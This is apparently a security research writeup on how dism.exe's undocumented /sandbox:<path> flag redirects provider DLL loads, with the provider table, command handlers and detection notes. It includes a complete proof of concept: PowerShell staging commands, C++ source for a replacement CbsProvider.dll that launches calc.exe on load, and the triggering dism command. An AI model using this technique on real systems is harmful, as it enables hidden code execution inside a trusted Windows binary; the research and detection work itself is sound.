Summary#

This is a continuation of the DismHost COM Host writeup.

That writeup stops at the point where DismHost.exe loads dismprov.dll and creates the DISM image-session object from it. The next interesting question is: once dismprov.dll is alive, how does DISM decide which provider DLL to load for a command like /get-packages?

We're going to explore that question in this writeup, and see how the sandbox path can be used to redirect provider loads from a copied DISM directory.

The Sandbox Path#

From the DismHost Temporary Directory Explained writeup, we know that the sandbox path when provided with a path, DISM treats it as a binaries/session path. AKA it will load the session binaries from that path instead of copying them into a GUID temp folder.

dism /online /get-packages /sandbox:C:\Temp\DismStage

This will come in handy later, because it means we can stage a full copy of the DISM directory in a location under our control, where we select which files to replace. In contrast, if we just use /sandbox without a path, we get the normal temp directory behavior where DISM creates a new GUID folder and copies everything in.

Let's keep this in mind as we look at how the provider loading works.

Picking Up After DismHost#

In the previous writeup, the flow looked like this:

dism.exe
  -> dismcore.dll
      -> DismHost.exe {runtime-clsid}
          -> LoadLibraryExW(<image-session-location>\dismprov.dll)

With a staged path example, this means:

DismHost.exe loads C:\Temp\DismStage\dismprov.dll

After that, dismprov.dll initializes its provider store. During that setup it walks a built-in table of providers. Each row is basically:

provider name | provider dll name | session mask

The mask controls which session type the provider belongs to. In this table 0x1 is used for local-session providers, 0x2 is used for image-session providers, and 0x3 shows up for providers that can be used in both paths.

One of those rows is:

DISM Package Manager -> CbsProvider.dll

The package-manager row uses the image-session mask, so it is valid for the /online image-session path we are forcing with /sandbox:<path>.

The provider store combines its provider directory with the DLL name from the table and keeps that as the provider path. That means this row becomes the full path:

C:\Temp\DismStage\CbsProvider.dll

Later, when a command actually asks for that provider, the provider loader calls LoadLibraryExW on that path and looks for the provider export:

DLLGetDISMProviderCLSID

Knowing this, we now have a theory for how to hijack provider loads with the sandbox path. Lets test it out.

Putting Everything Together#

The lab setup is simple, we start with a staging directory that has a full copy of the DISM directory (except for the provider we want to hijack):

$Stage = 'C:\Temp\DismStage'
New-Item -ItemType Directory -Force $Stage | Out-Null
Copy-Item "$env:SystemRoot\System32\Dism\*" $Stage -Recurse -Force

Since we want to hijack the package manager provider, we replace CbsProvider.dll with a dummy DLL that spawns calc.exe when loaded:

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
 
 
extern "C" __declspec(dllexport) void PopCalc()
{
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
 
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  ZeroMemory(&pi, sizeof(pi));
 
 
  CreateProcess(
    TEXT("C:\\Windows\\System32\\calc.exe"),
    (LPWSTR)TEXT(""),
    NULL,
    NULL,
    FALSE,
    CREATE_NEW_CONSOLE,
    NULL,
    NULL,
    &si,
    &pi
  );
 
  CloseHandle(pi.hProcess);
  CloseHandle(pi.hThread);
}
 
 
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
  switch (ul_reason_for_call) {
  case DLL_PROCESS_ATTACH:
    PopCalc();
    break;
  case DLL_THREAD_ATTACH:
    break;
  case DLL_PROCESS_DETACH:
    break;
  case DLL_THREAD_DETACH:
    break;
  default:
    break;
  }
 
  return true;
}

Once the above DLL is compiled and renamed to CbsProvider.dll, we put it in the staging directory:

Copy-Item .\CbsProvider.dll $Stage -Force

Now we are ready to run the command:

dism /online /get-packages /sandbox:C:\Temp\DismStage

We should see the following prcess tree:

dism.exe
  -> DismHost.exe
      -> calc.exe

Key point here is that CbsProvider.dll is a target here because it is used for the /get-packages command. If we wanted to target a different command, we could look up which provider it uses and stage that one instead.

Detection Notes#

Things worth looking for:

  • dism.exe command lines containing /sandbox:<path>. This is an undocumented flag, so it is a strong signal that the sandbox path is being used. Note that /sandbox without a path is less interesting, since it is the default behavior for image sessions and can be used without staging.
  • DismHost.exe executing from a user-writable or unusual directory. Normally DismHost.exe should be running from %SystemRoot%\System32\Dism\DismHost.exe or a GUID temp directory under the real temp path. If it is running from somewhere else, that could be a sign of staging.
  • dismprov.dll loaded from a user-writable or unusual directory.
  • Provider DLLs such as CbsProvider.dll, DmiProvider.dll, or WimProvider.dll loaded from a user-writable or unusual directory.
  • A full copy of %SystemRoot%\System32\Dism appearing under a temp, downloads, or staging directory.
  • DISM log entries C:\Windows\Logs\DISM\dism.log showing provider loads from unexpected paths.

Appendix#

DISM Provider Table#

IndexNameDLLMaskMask Meaning
0AppxManagerAppxProvider.dll0x2image-session
1AssocManagerAssocProvider.dll0x2image-session
2CbmrManagerCbmrProvider.dll0x2image-session
3DISM Package ManagerCbsProvider.dll0x2image-session
4DriverManagerDmiProvider.dll0x2image-session
5DUTManagerDUTProvider.dll0x1local-session
6EdgeManagerEdgeProvider.dll0x2image-session
7Embedded ManagerEmbeddedProvider.dll0x2image-session
8DeployManagerDeployProvider.dll0x1local-session
9FfuManagerFfuProvider.dll0x1local-session
10FolderManagerFolderProvider.dll0x1local-session
11GenericManagerGenericProvider.dll0x2image-session
12IBSManagerIBSProvider.dll0x2image-session
13GenericImagingManagerImagingProvider.dll0x1local-session
14IntlManagerIntlProvider.dll0x2image-session
15DISMLoggerLogProvider.dll0x3both
16MetaDeployManagerMetaDeployProvider.dll0x1local-session
17MsiManagerMsiProvider.dll0x2image-session
18MsuManagerMsuProvider.dll0x2image-session
19OfflineSetupManagerOfflineSetupProvider.dll0x2image-session
20OSImageManagerOSImageProvider.dll0x1local-session
21OSServicesOSProvider.dll0x2image-session
22PE ProviderPEProvider.dll0x2image-session
23ProvManagerProvProvider.dll0x2image-session
24SetupPlatformManagerSetupPlatformProvider.dll0x2image-session
25SiloedPackageManagerSiloedPackageProvider.dll0x1local-session
26SmiManagerSmiProvider.dll0x2image-session
27SysprepManagerSysprepProvider.dll0x2image-session
28TemplateManagerTemplateProvider.dll0x2image-session
29Edition ManagerTransmogProvider.dll0x2image-session
30DISM Unattend ManagerUnattendProvider.dll0x2image-session
31VHDManagerVHDProvider.dll0x1local-session
32WimManagerWimProvider.dll0x1local-session

CbsProvider Command Handlers#

CbsProvider.dll exposes a package-manager command table through CPackageManagerCLIHandler. These are the command handlers that make this provider interesting.

DISM CommandCbsProvider Handler
/Add-PackageCPackageManagerCLIHandler::ProcessCmdLine_AddPackage
/Remove-PackageCPackageManagerCLIHandler::ProcessCmdLine_RemovePackage
/Get-PackagesCPackageManagerCLIHandler::ProcessCmdLine_GetPackages
/Get-PackageInfoCPackageManagerCLIHandler::ProcessCmdLine_GetPackageInfo
/Enable-FeatureCPackageManagerCLIHandler::ProcessCmdLine_EnableFeature
/Disable-FeatureCPackageManagerCLIHandler::ProcessCmdLine_DisableFeature
/Get-FeaturesCPackageManagerCLIHandler::ProcessCmdLine_GetFeatures
/Get-FeatureInfoCPackageManagerCLIHandler::ProcessCmdLine_GetFeatureInfo
/Cleanup-ImageCPackageManagerCLIHandler::ProcessCmdLine_CleanupImage
/IsServiceableCPackageManagerCLIHandler::ProcessCmdLine_IsServiceable
/Export-SourceCPackageManagerCLIHandler::ProcessCmdLine_ExportSource
/Add-CapabilityCPackageManagerCLIHandler::ProcessCmdLine_AddCapability
/Remove-CapabilityCPackageManagerCLIHandler::ProcessCmdLine_RemoveCapability
/Get-CapabilitiesCPackageManagerCLIHandler::ProcessCmdLine_GetCapabilities
/Get-CapabilityInfoCPackageManagerCLIHandler::ProcessCmdLine_GetCapabilityInfo
/Get-ReservedStorageStateCPackageManagerCLIHandler::ProcessCmdLine_GetReservedStorageState
/Set-ReservedStorageStateCPackageManagerCLIHandler::ProcessCmdLine_SetReservedStorageState
/Add-LanguageCPackageManagerCLIHandler::ProcessCmdLine_AddLanguage
/Remove-LanguageCPackageManagerCLIHandler::ProcessCmdLine_RemoveLanguage

I might document these handlers in more detail later, and/or add additional ones for the other providers. For now, this table is just to show how the provider DLLs are connected to actual DISM commands.

Related Articles

Other threads in the archive worth reading next.